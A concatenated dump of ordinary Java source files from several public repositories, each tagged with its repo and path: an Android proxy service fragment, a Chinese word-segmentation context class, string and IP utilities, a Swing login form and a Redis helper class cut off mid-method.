setSmallIcon(android.R.drawable.ic_media_play). setOngoing(true). setContentIntent(pendingIntent). build(); startForeground(ONGOING_NOTIFICATION, notification); } private void copyAssets(String configFile, String toPath) { AssetManager assetManager = getAssets(); Log.e("---", "Copy file: " + configFile); InputStream in = null; OutputStream out = null; try { in = assetManager.open(configFile); File outFile = new File(toPath, configFile); out = new FileOutputStream(outFile); copyFile(in, out); in.close(); in = null; out.flush(); out.close(); out = null; } catch (IOException e) { Log.e("tag", "Failed to copy asset file: " + configFile, e); } } private void copyFile(InputStream in, OutputStream out) throws IOException { byte[] buffer = new byte[1024]; int read; while ((read = in.read(buffer)) != -1) { out.write(buffer, 0, read); } } public static String LOCAL_ASSETS_FILE="jwd.htm"; public static String FILE_ON_SDCARD= Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS)+File.separator+LOCAL_ASSETS_FILE; private void copyAssetsDataToSD(String strOutFileName) throws IOException { if(new File(FILE_ON_SDCARD).exists()) return; InputStream myInput; OutputStream myOutput = new FileOutputStream(FILE_ON_SDCARD);//strOutFileName); myInput = this.getAssets().open(strOutFileName); byte[] buffer = new byte[1024]; int length = myInput.read(buffer); while(length > 0) { myOutput.write(buffer, 0, length); length = myInput.read(buffer); } myOutput.flush(); myInput.close(); myOutput.close(); } private void openAssetsHtmlFile() { File file=new File(FILE_ON_SDCARD); final Intent browserIntent = new Intent(Intent.ACTION_VIEW); browserIntent.setDataAndType(Uri.fromFile(file), "text/html"); startActivity(Intent.createChooser(browserIntent, "首选Opera,Firefox浏览器,如果一种浏览器不行,可多换几种浏览器尝试...")); } synchronized boolean jwdOpen() { boolean isSucc=true; try { copyAssetsDataToSD(LOCAL_ASSETS_FILE); } catch (IOException e) { //Utils.showSnackbar(this, e.toString()); isSucc=false; } if(isSucc){ openAssetsHtmlFile(); } return isSucc; } }
bannedbook/fanqiang
fqnews/core/src/main/java/org/bannedbook/app/service/PolipoService.java
113
/** * IK 中文分词 版本 5.0 * IK Analyzer release 5.0 * * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * 源代码由林良益(linliangyi2005@gmail.com)提供 * 版权声明 2012,乌龙茶工作室 * provided by Linliangyi and copyright 2012 by Oolong studio * */ package org.wltea.analyzer.core; import java.io.IOException; import java.io.Reader; import java.util.HashMap; import java.util.HashSet; import java.util.LinkedList; import java.util.Map; import java.util.Set; import org.wltea.analyzer.cfg.Configuration; import org.wltea.analyzer.dic.Dictionary; /** * * 分词器上下文状态 * */ class AnalyzeContext { //默认缓冲区大小 private static final int BUFF_SIZE = 4096; //缓冲区耗尽的临界值 private static final int BUFF_EXHAUST_CRITICAL = 100; //字符串读取缓冲 private char[] segmentBuff; //字符类型数组 private int[] charTypes; //记录Reader内已分析的字串总长度 //在分多段分析词元时,该变量累计当前的segmentBuff相对于reader起始位置的位移 private int buffOffset; //当前缓冲区位置指针 private int cursor; //最近一次读入的,可处理的字串长度 private int available; //末尾非CJK字符数目 private int lastUselessCharNum; //子分词器锁 //该集合非空,说明有子分词器在占用segmentBuff private Set<String> buffLocker; //原始分词结果集合,未经歧义处理 private QuickSortSet orgLexemes; //LexemePath位置索引表 private Map<Integer , LexemePath> pathMap; //最终分词结果集 private LinkedList<Lexeme> results; //分词器配置项 private Configuration cfg; public AnalyzeContext(Configuration configuration){ this.cfg = configuration; this.segmentBuff = new char[BUFF_SIZE]; this.charTypes = new int[BUFF_SIZE]; this.buffLocker = new HashSet<String>(); this.orgLexemes = new QuickSortSet(); this.pathMap = new HashMap<Integer , LexemePath>(); this.results = new LinkedList<Lexeme>(); } int getCursor(){ return this.cursor; } char[] getSegmentBuff(){ return this.segmentBuff; } char getCurrentChar(){ return this.segmentBuff[this.cursor]; } int getCurrentCharType(){ return this.charTypes[this.cursor]; } int getBufferOffset(){ return this.buffOffset; } /** * 根据context的上下文情况,填充segmentBuff * @param reader * @return 返回待分析的(有效的)字串长度 * @throws java.io.IOException */ int fillBuffer(Reader reader) throws IOException{ int readCount = 0; if(this.buffOffset == 0){ //首次读取reader readCount = reader.read(segmentBuff); this.lastUselessCharNum = 0; }else{ int offset = this.available - this.cursor; if(offset > 0){ //最近一次读取的>最近一次处理的,将未处理的字串拷贝到segmentBuff头部 System.arraycopy(this.segmentBuff , this.cursor , this.segmentBuff , 0 , offset); readCount = offset; } //继续读取reader ,以onceReadIn - onceAnalyzed为起始位置,继续填充segmentBuff剩余的部分 readCount += reader.read(this.segmentBuff , offset , BUFF_SIZE - offset); } //记录最后一次从Reader中读入的可用字符长度 this.available = readCount; //重置当前指针 this.cursor = 0; return readCount; } /** * 初始化buff指针,处理第一个字符 */ void initCursor(){ this.cursor = 0; this.segmentBuff[this.cursor] = CharacterUtil.regularize(this.segmentBuff[this.cursor],cfg.isEnableLowercase()); this.charTypes[this.cursor] = CharacterUtil.identifyCharType(this.segmentBuff[this.cursor]); } /** * 指针+1 * 成功返回 true; 指针已经到了buff尾部,不能前进,返回false * 并处理当前字符 */ boolean moveCursor(){ if(this.cursor < this.available - 1){ this.cursor++; this.segmentBuff[this.cursor] = CharacterUtil.regularize(this.segmentBuff[this.cursor],cfg.isEnableLowercase()); this.charTypes[this.cursor] = CharacterUtil.identifyCharType(this.segmentBuff[this.cursor]); return true; }else{ return false; } } /** * 设置当前segmentBuff为锁定状态 * 加入占用segmentBuff的子分词器名称,表示占用segmentBuff * @param segmenterName */ void lockBuffer(String segmenterName){ this.buffLocker.add(segmenterName); } /** * 移除指定的子分词器名,释放对segmentBuff的占用 * @param segmenterName */ void unlockBuffer(String segmenterName){ this.buffLocker.remove(segmenterName); } /** * 只要buffLocker中存在segmenterName * 则buffer被锁定 * @return boolean 缓冲去是否被锁定 */ boolean isBufferLocked(){ return this.buffLocker.size() > 0; } /** * 判断当前segmentBuff是否已经用完 * 当前执针cursor移至segmentBuff末端this.available - 1 * @return */ boolean isBufferConsumed(){ return this.cursor == this.available - 1; } /** * 判断segmentBuff是否需要读取新数据 * * 满足一下条件时, * 1.available == BUFF_SIZE 表示buffer满载 * 2.buffIndex < available - 1 && buffIndex > available - BUFF_EXHAUST_CRITICAL表示当前指针处于临界区内 * 3.!context.isBufferLocked()表示没有segmenter在占用buffer * 要中断当前循环(buffer要进行移位,并再读取数据的操作) * @return */ boolean needRefillBuffer(){ return this.available == BUFF_SIZE && this.cursor < this.available - 1 && this.cursor > this.available - BUFF_EXHAUST_CRITICAL && !this.isBufferLocked(); } /** * 累计当前的segmentBuff相对于reader起始位置的位移 */ void markBufferOffset(){ this.buffOffset += this.cursor; } /** * 向分词结果集添加词元 * @param lexeme */ void addLexeme(Lexeme lexeme){ this.orgLexemes.addLexeme(lexeme); } /** * 添加分词结果路径 * 路径起始位置 ---> 路径 映射表 * @param path */ void addLexemePath(LexemePath path){ if(path != null){ this.pathMap.put(path.getPathBegin(), path); } } /** * 返回原始分词结果 * @return */ QuickSortSet getOrgLexemes(){ return this.orgLexemes; } /** * 推送分词结果到结果集合 * 1.从buff头部遍历到this.cursor已处理位置 * 2.将map中存在的分词结果推入results * 3.将map中不存在的CJDK字符以单字方式推入results */ void outputToResult(){ int index = 0; for( ; index <= this.cursor ;){ //跳过非CJK字符 if(CharacterUtil.CHAR_USELESS == this.charTypes[index]){ index++; this.lastUselessCharNum++; continue; } // 清空数值 this.lastUselessCharNum = 0; //从pathMap找出对应index位置的LexemePath LexemePath path = this.pathMap.get(index); if(path != null){ //输出LexemePath中的lexeme到results集合 Lexeme l = path.pollFirst(); while(l != null){ this.results.add(l); //字典中无单字,但是词元冲突了,切分出相交词元的前一个词元中的单字 /*int innerIndex = index + 1; for (; innerIndex < index + l.getLength(); innerIndex++) { Lexeme innerL = path.peekFirst(); if (innerL != null && innerIndex == innerL.getBegin()) { this.outputSingleCJK(innerIndex - 1); } }*/ //将index移至lexeme后 index = l.getBegin() + l.getLength(); l = path.pollFirst(); if(l != null){ //输出path内部,词元间遗漏的单字 for(;index < l.getBegin();index++){ this.outputSingleCJK(index); } } } }else{//pathMap中找不到index对应的LexemePath //单字输出 this.outputSingleCJK(index); index++; } } //清空当前的Map this.pathMap.clear(); } /** * 对CJK字符进行单字输出 * @param index */ private void outputSingleCJK(int index){ if(CharacterUtil.CHAR_CHINESE == this.charTypes[index]){ Lexeme singleCharLexeme = new Lexeme(this.buffOffset , index , 1 , Lexeme.TYPE_CNCHAR); this.results.add(singleCharLexeme); }else if(CharacterUtil.CHAR_OTHER_CJK == this.charTypes[index]){ Lexeme singleCharLexeme = new Lexeme(this.buffOffset , index , 1 , Lexeme.TYPE_OTHER_CJK); this.results.add(singleCharLexeme); } } /** * 返回lexeme * * 同时处理合并 * @return */ Lexeme getNextLexeme(){ //从结果集取出,并移除第一个Lexme Lexeme result = this.results.pollFirst(); while(result != null){ //数量词合并 this.compound(result); if(Dictionary.getSingleton().isStopWord(this.segmentBuff , result.getBegin() , result.getLength())){ //是停止词继续取列表的下一个 result = this.results.pollFirst(); }else{ //不是停止词, 生成lexeme的词元文本,输出 result.setLexemeText(String.valueOf(segmentBuff , result.getBegin() , result.getLength())); break; } } return result; } /** * 返回末尾非CJK字符字符数目 */ public int getLastUselessCharNum(){ return this.lastUselessCharNum; } /** * 重置分词上下文状态 */ void reset(){ this.buffLocker.clear(); this.orgLexemes = new QuickSortSet(); this.available =0; this.buffOffset = 0; this.charTypes = new int[BUFF_SIZE]; this.cursor = 0; this.results.clear(); this.segmentBuff = new char[BUFF_SIZE]; this.pathMap.clear(); } /** * 组合词元 */ private void compound(Lexeme result){ if(!this.cfg.isUseSmart()){ return ; } //数量词合并处理 if(!this.results.isEmpty()){ if(Lexeme.TYPE_ARABIC == result.getLexemeType()){ Lexeme nextLexeme = this.results.peekFirst(); boolean appendOk = false; if(Lexeme.TYPE_CNUM == nextLexeme.getLexemeType()){ //合并英文数词+中文数词 appendOk = result.append(nextLexeme, Lexeme.TYPE_CNUM); }else if(Lexeme.TYPE_COUNT == nextLexeme.getLexemeType()){ //合并英文数词+中文量词 appendOk = result.append(nextLexeme, Lexeme.TYPE_CQUAN); } if(appendOk){ //弹出 this.results.pollFirst(); } } //可能存在第二轮合并 if(Lexeme.TYPE_CNUM == result.getLexemeType() && !this.results.isEmpty()){ Lexeme nextLexeme = this.results.peekFirst(); boolean appendOk = false; if(Lexeme.TYPE_COUNT == nextLexeme.getLexemeType()){ //合并中文数词+中文量词 appendOk = result.append(nextLexeme, Lexeme.TYPE_CQUAN); } if(appendOk){ //弹出 this.results.pollFirst(); } } } } }
infinilabs/analysis-ik
core/src/main/java/org/wltea/analyzer/core/AnalyzeContext.java
114
/* * Copyright 2019-2020 Zheng Jie * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package me.zhengjie.utils; import cn.hutool.http.useragent.UserAgent; import cn.hutool.http.useragent.UserAgentUtil; import lombok.extern.slf4j.Slf4j; import net.dreamlu.mica.ip2region.core.Ip2regionSearcher; import net.dreamlu.mica.ip2region.core.IpInfo; import javax.servlet.http.HttpServletRequest; import java.net.InetAddress; import java.net.NetworkInterface; import java.net.UnknownHostException; import java.util.Calendar; import java.util.Date; import java.util.Enumeration; /** * @author Zheng Jie * 字符串工具类, 继承org.apache.commons.lang3.StringUtils类 */ @Slf4j public class StringUtils extends org.apache.commons.lang3.StringUtils { private static final char SEPARATOR = '_'; private static final String UNKNOWN = "unknown"; /** * 注入bean */ private final static Ip2regionSearcher IP_SEARCHER = SpringContextHolder.getBean(Ip2regionSearcher.class); /** * 驼峰命名法工具 * * @return toCamelCase(" hello_world ") == "helloWorld" * toCapitalizeCamelCase("hello_world") == "HelloWorld" * toUnderScoreCase("helloWorld") = "hello_world" */ public static String toCamelCase(String s) { if (s == null) { return null; } s = s.toLowerCase(); StringBuilder sb = new StringBuilder(s.length()); boolean upperCase = false; for (int i = 0; i < s.length(); i++) { char c = s.charAt(i); if (c == SEPARATOR) { upperCase = true; } else if (upperCase) { sb.append(Character.toUpperCase(c)); upperCase = false; } else { sb.append(c); } } return sb.toString(); } /** * 驼峰命名法工具 * * @return toCamelCase(" hello_world ") == "helloWorld" * toCapitalizeCamelCase("hello_world") == "HelloWorld" * toUnderScoreCase("helloWorld") = "hello_world" */ public static String toCapitalizeCamelCase(String s) { if (s == null) { return null; } s = toCamelCase(s); return s.substring(0, 1).toUpperCase() + s.substring(1); } /** * 驼峰命名法工具 * * @return toCamelCase(" hello_world ") == "helloWorld" * toCapitalizeCamelCase("hello_world") == "HelloWorld" * toUnderScoreCase("helloWorld") = "hello_world" */ static String toUnderScoreCase(String s) { if (s == null) { return null; } StringBuilder sb = new StringBuilder(); boolean upperCase = false; for (int i = 0; i < s.length(); i++) { char c = s.charAt(i); boolean nextUpperCase = true; if (i < (s.length() - 1)) { nextUpperCase = Character.isUpperCase(s.charAt(i + 1)); } if ((i > 0) && Character.isUpperCase(c)) { if (!upperCase || !nextUpperCase) { sb.append(SEPARATOR); } upperCase = true; } else { upperCase = false; } sb.append(Character.toLowerCase(c)); } return sb.toString(); } /** * 获取ip地址 */ public static String getIp(HttpServletRequest request) { String ip = request.getHeader("x-forwarded-for"); if (ip == null || ip.length() == 0 || UNKNOWN.equalsIgnoreCase(ip)) { ip = request.getHeader("Proxy-Client-IP"); } if (ip == null || ip.length() == 0 || UNKNOWN.equalsIgnoreCase(ip)) { ip = request.getHeader("WL-Proxy-Client-IP"); } if (ip == null || ip.length() == 0 || UNKNOWN.equalsIgnoreCase(ip)) { ip = request.getRemoteAddr(); } String comma = ","; String localhost = "127.0.0.1"; if (ip.contains(comma)) { ip = ip.split(",")[0]; } if (localhost.equals(ip)) { // 获取本机真正的ip地址 try { ip = InetAddress.getLocalHost().getHostAddress(); } catch (UnknownHostException e) { log.error(e.getMessage(), e); } } return ip; } /** * 根据ip获取详细地址 */ public static String getCityInfo(String ip) { IpInfo ipInfo = IP_SEARCHER.memorySearch(ip); if(ipInfo != null){ return ipInfo.getAddress(); } return null; } public static String getBrowser(HttpServletRequest request) { UserAgent ua = UserAgentUtil.parse(request.getHeader("User-Agent")); String browser = ua.getBrowser().toString() + " " + ua.getVersion(); return browser.replace(".0.0.0",""); } /** * 获得当天是周几 */ public static String getWeekDay() { String[] weekDays = {"Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"}; Calendar cal = Calendar.getInstance(); cal.setTime(new Date()); int w = cal.get(Calendar.DAY_OF_WEEK) - 1; if (w < 0) { w = 0; } return weekDays[w]; } /** * 获取当前机器的IP * * @return / */ public static String getLocalIp() { try { InetAddress candidateAddress = null; // 遍历所有的网络接口 for (Enumeration<NetworkInterface> interfaces = NetworkInterface.getNetworkInterfaces(); interfaces.hasMoreElements();) { NetworkInterface anInterface = interfaces.nextElement(); // 在所有的接口下再遍历IP for (Enumeration<InetAddress> inetAddresses = anInterface.getInetAddresses(); inetAddresses.hasMoreElements();) { InetAddress inetAddr = inetAddresses.nextElement(); // 排除loopback类型地址 if (!inetAddr.isLoopbackAddress()) { if (inetAddr.isSiteLocalAddress()) { // 如果是site-local地址,就是它了 return inetAddr.getHostAddress(); } else if (candidateAddress == null) { // site-local类型的地址未被发现,先记录候选地址 candidateAddress = inetAddr; } } } } if (candidateAddress != null) { return candidateAddress.getHostAddress(); } // 如果没有发现 non-loopback地址.只能用最次选的方案 InetAddress jdkSuppliedAddress = InetAddress.getLocalHost(); if (jdkSuppliedAddress == null) { return ""; } return jdkSuppliedAddress.getHostAddress(); } catch (Exception e) { return ""; } } }
elunez/eladmin
eladmin-common/src/main/java/me/zhengjie/utils/StringUtils.java
115
/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package cn.itcast.view; import cn.itcast.dao.UserDao; import cn.itcast.dao.impl.UserDaoImpl; import cn.itcast.util.UiUtil; import javax.swing.JOptionPane; /** * * @author fqy */ public class LoginJFrame extends javax.swing.JFrame { /** * Creates new form LoginJFrame */ public LoginJFrame() { initComponents(); init(); } private void init() { this.setTitle("登录界面"); UiUtil.setFrameIcon(this, "src\\cn\\itcast\\resource\\user.jpg"); UiUtil.setFrameCenter(this); } /** * This method is called from within the constructor to initialize the form. * WARNING: Do NOT modify this code. The content of this method is always * regenerated by the Form Editor. */ @SuppressWarnings("unchecked") // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents private void initComponents() { jLabel2 = new javax.swing.JLabel(); jLabel1 = new javax.swing.JLabel(); jLabel3 = new javax.swing.JLabel(); jtfUsername = new javax.swing.JTextField(); jpfPassword = new javax.swing.JPasswordField(); loginButton = new javax.swing.JButton(); resetButton = new javax.swing.JButton(); registButton = new javax.swing.JButton(); jLabel2.setText("jLabel2"); setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); setResizable(false); jLabel1.setText("用户名:"); jLabel3.setText("密码:"); loginButton.setText("登录"); loginButton.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { loginButtonActionPerformed(evt); } }); resetButton.setText("重置"); resetButton.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { resetButtonActionPerformed(evt); } }); registButton.setText("注册"); registButton.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { registButtonActionPerformed(evt); } }); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addGap(48, 48, 48) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) .addGroup(layout.createSequentialGroup() .addComponent(loginButton) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 124, Short.MAX_VALUE) .addComponent(resetButton)) .addGroup(layout.createSequentialGroup() .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jLabel1) .addComponent(jLabel3)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) .addComponent(jtfUsername) .addComponent(jpfPassword, javax.swing.GroupLayout.DEFAULT_SIZE, 190, Short.MAX_VALUE)))) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) .addComponent(registButton) .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addGap(34, 34, 34) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel1) .addComponent(jtfUsername, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(registButton)) .addGap(32, 32, 32) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel3) .addComponent(jpfPassword, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 57, Short.MAX_VALUE) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(loginButton) .addComponent(resetButton)) .addGap(79, 79, 79)) ); pack(); }// </editor-fold>//GEN-END:initComponents private void registButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_registButtonActionPerformed RegistJFrame rjf = new RegistJFrame(); // this.setVisible(false); this.dispose(); rjf.setVisible(true); }//GEN-LAST:event_registButtonActionPerformed private void clearData() { this.jtfUsername.setText(""); this.jpfPassword.setText(""); this.jtfUsername.requestFocus(); } private void resetButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_resetButtonActionPerformed clearData(); }//GEN-LAST:event_resetButtonActionPerformed private void loginButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_loginButtonActionPerformed //获取用户名和密码 String username = this.jtfUsername.getText().trim(); // String password = this.jpfPassword.getText().trim(); String password = String.valueOf(this.jpfPassword.getPassword()); //校验数据 //定义规则 String regex = "\\w{6,12}"; //校验用户名 if(!username.matches(regex)) { JOptionPane.showMessageDialog(this, "用户名不满足条件(6~12位字符)"); this.jtfUsername.setText(""); this.jtfUsername.requestFocus(); return; } //校验密码 if(!password.matches(regex)) { JOptionPane.showMessageDialog(this, "密码不满足条件(6~12位字符)"); this.jpfPassword.setText(""); this.jpfPassword.requestFocus(); return; } //调用登录功能 UserDao ud = new UserDaoImpl(); boolean flag = ud.isLogin(username, password); if(flag) { JOptionPane.showMessageDialog(this, "登录成功,可以开始玩游戏了"); GuessNumberJFrame gjf = new GuessNumberJFrame(username); this.dispose(); gjf.setVisible(true); }else{ JOptionPane.showMessageDialog(this, "用户名或者密码有误"); clearData(); } }//GEN-LAST:event_loginButtonActionPerformed /** * @param args the command line arguments */ public static void main(String args[]) { /* Set the Nimbus look and feel */ //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) "> /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html */ try { for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { if ("Nimbus".equals(info.getName())) { javax.swing.UIManager.setLookAndFeel(info.getClassName()); break; } } } catch (ClassNotFoundException ex) { java.util.logging.Logger.getLogger(LoginJFrame.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (InstantiationException ex) { java.util.logging.Logger.getLogger(LoginJFrame.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (IllegalAccessException ex) { java.util.logging.Logger.getLogger(LoginJFrame.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (javax.swing.UnsupportedLookAndFeelException ex) { java.util.logging.Logger.getLogger(LoginJFrame.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } //</editor-fold> /* Create and display the form */ java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new LoginJFrame().setVisible(true); } }); } // Variables declaration - do not modify//GEN-BEGIN:variables private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel3; private javax.swing.JPasswordField jpfPassword; private javax.swing.JTextField jtfUsername; private javax.swing.JButton loginButton; private javax.swing.JButton registButton; private javax.swing.JButton resetButton; // End of variables declaration//GEN-END:variables }
DuGuQiuBai/Java
day25/code/登录注册/src/cn/itcast/view/LoginJFrame.java
116
/* * Copyright 2019-2020 Zheng Jie * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package me.zhengjie.utils; import com.google.common.collect.Lists; import com.google.common.collect.Sets; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.data.redis.connection.RedisConnection; import org.springframework.data.redis.connection.RedisConnectionFactory; import org.springframework.data.redis.core.*; import org.springframework.data.redis.serializer.StringRedisSerializer; import org.springframework.stereotype.Component; import java.util.*; import java.util.concurrent.TimeUnit; /** * @author / */ @Component @SuppressWarnings({"unchecked", "all"}) public class RedisUtils { private static final Logger log = LoggerFactory.getLogger(RedisUtils.class); private RedisTemplate<Object, Object> redisTemplate; public RedisUtils(RedisTemplate<Object, Object> redisTemplate) { this.redisTemplate = redisTemplate; this.redisTemplate.setHashKeySerializer(new StringRedisSerializer()); this.redisTemplate.setKeySerializer(new StringRedisSerializer()); this.redisTemplate.setStringSerializer(new StringRedisSerializer()); } /** * 指定缓存失效时间 * * @param key 键 * @param time 时间(秒) 注意:这里将会替换原有的时间 */ public boolean expire(String key, long time) { try { if (time > 0) { redisTemplate.expire(key, time, TimeUnit.SECONDS); } } catch (Exception e) { log.error(e.getMessage(), e); return false; } return true; } /** * 指定缓存失效时间 * * @param key 键 * @param time 时间(秒) 注意:这里将会替换原有的时间 * @param timeUnit 单位 */ public boolean expire(String key, long time, TimeUnit timeUnit) { try { if (time > 0) { redisTemplate.expire(key, time, timeUnit); } } catch (Exception e) { log.error(e.getMessage(), e); return false; } return true; } /** * 根据 key 获取过期时间 * * @param key 键 不能为null * @return 时间(秒) 返回0代表为永久有效 */ public long getExpire(Object key) { return redisTemplate.getExpire(key, TimeUnit.SECONDS); } /** * 查找匹配key * * @param pattern key * @return / */ public List<String> scan(String pattern) { ScanOptions options = ScanOptions.scanOptions().match(pattern).build(); RedisConnectionFactory factory = redisTemplate.getConnectionFactory(); RedisConnection rc = Objects.requireNonNull(factory).getConnection(); Cursor<byte[]> cursor = rc.scan(options); List<String> result = new ArrayList<>(); while (cursor.hasNext()) { result.add(new String(cursor.next())); } try { RedisConnectionUtils.releaseConnection(rc, factory); } catch (Exception e) { log.error(e.getMessage(), e); } return result; } /** * 分页查询 key * * @param patternKey key * @param page 页码 * @param size 每页数目 * @return / */ public List<String> findKeysForPage(String patternKey, int page, int size) { ScanOptions options = ScanOptions.scanOptions().match(patternKey).build(); RedisConnectionFactory factory = redisTemplate.getConnectionFactory(); RedisConnection rc = Objects.requireNonNull(factory).getConnection(); Cursor<byte[]> cursor = rc.scan(options); List<String> result = new ArrayList<>(size); int tmpIndex = 0; int fromIndex = page * size; int toIndex = page * size + size; while (cursor.hasNext()) { if (tmpIndex >= fromIndex && tmpIndex < toIndex) { result.add(new String(cursor.next())); tmpIndex++; continue; } // 获取到满足条件的数据后,就可以退出了 if (tmpIndex >= toIndex) { break; } tmpIndex++; cursor.next(); } try { RedisConnectionUtils.releaseConnection(rc, factory); } catch (Exception e) { log.error(e.getMessage(), e); } return result; } /** * 判断key是否存在 * * @param key 键 * @return true 存在 false不存在 */ public boolean hasKey(String key) { try { return redisTemplate.hasKey(key); } catch (Exception e) { log.error(e.getMessage(), e); return false; } } /** * 删除缓存 * * @param key 可以传一个值 或多个 */ public void del(String... keys) { if (keys != null && keys.length > 0) { if (keys.length == 1) { boolean result = redisTemplate.delete(keys[0]); log.debug("--------------------------------------------"); log.debug(new StringBuilder("删除缓存:").append(keys[0]).append(",结果:").append(result).toString()); log.debug("--------------------------------------------"); } else { Set<Object> keySet = new HashSet<>(); for (String key : keys) { if (redisTemplate.hasKey(key)) keySet.add(key); } long count = redisTemplate.delete(keySet); log.debug("--------------------------------------------"); log.debug("成功删除缓存:" + keySet.toString()); log.debug("缓存删除数量:" + count + "个"); log.debug("--------------------------------------------"); } } } /** * 批量模糊删除key * @param pattern */ public void scanDel(String pattern){ ScanOptions options = ScanOptions.scanOptions().match(pattern).build(); try (Cursor<byte[]> cursor = redisTemplate.executeWithStickyConnection( (RedisCallback<Cursor<byte[]>>) connection -> (Cursor<byte[]>) new ConvertingCursor<>( connection.scan(options), redisTemplate.getKeySerializer()::deserialize))) { while (cursor.hasNext()) { redisTemplate.delete(cursor.next()); } } } // ============================String============================= /** * 普通缓存获取 * * @param key 键 * @return 值 */ public Object get(String key) { return key == null ? null : redisTemplate.opsForValue().get(key); } /** * 批量获取 * * @param keys * @return */ public List<Object> multiGet(List<String> keys) { List list = redisTemplate.opsForValue().multiGet(Sets.newHashSet(keys)); List resultList = Lists.newArrayList(); Optional.ofNullable(list).ifPresent(e-> list.forEach(ele-> Optional.ofNullable(ele).ifPresent(resultList::add))); return resultList; } /** * 普通缓存放入 * * @param key 键 * @param value 值 * @return true成功 false失败 */ public boolean set(String key, Object value) { try { redisTemplate.opsForValue().set(key, value); return true; } catch (Exception e) { log.error(e.getMessage(), e); return false; } } /** * 普通缓存放入并设置时间 * * @param key 键 * @param value 值 * @param time 时间(秒) time要大于0 如果time小于等于0 将设置无限期,注意:这里将会替换原有的时间 * @return true成功 false 失败 */ public boolean set(String key, Object value, long time) { try { if (time > 0) { redisTemplate.opsForValue().set(key, value, time, TimeUnit.SECONDS); } else { set(key, value); } return true; } catch (Exception e) { log.error(e.getMessage(), e); return false; } } /** * 普通缓存放入并设置时间 * * @param key 键 * @param value 值 * @param time 时间,注意:这里将会替换原有的时间 * @param timeUnit 类型 * @return true成功 false 失败 */ public boolean set(String key, Object value, long time, TimeUnit timeUnit) { try { if (time > 0) { redisTemplate.opsForValue().set(key, value, time, timeUnit); } else { set(key, value); } return true; } catch (Exception e) { log.error(e.getMessage(), e); return false; } } // ================================Map================================= /** * HashGet * * @param key 键 不能为null * @param item 项 不能为null * @return 值 */ public Object hget(String key, String item) { return redisTemplate.opsForHash().get(key, item); } /** * 获取hashKey对应的所有键值 * * @param key 键 * @return 对应的多个键值 */ public Map<Object, Object> hmget(String key) { return 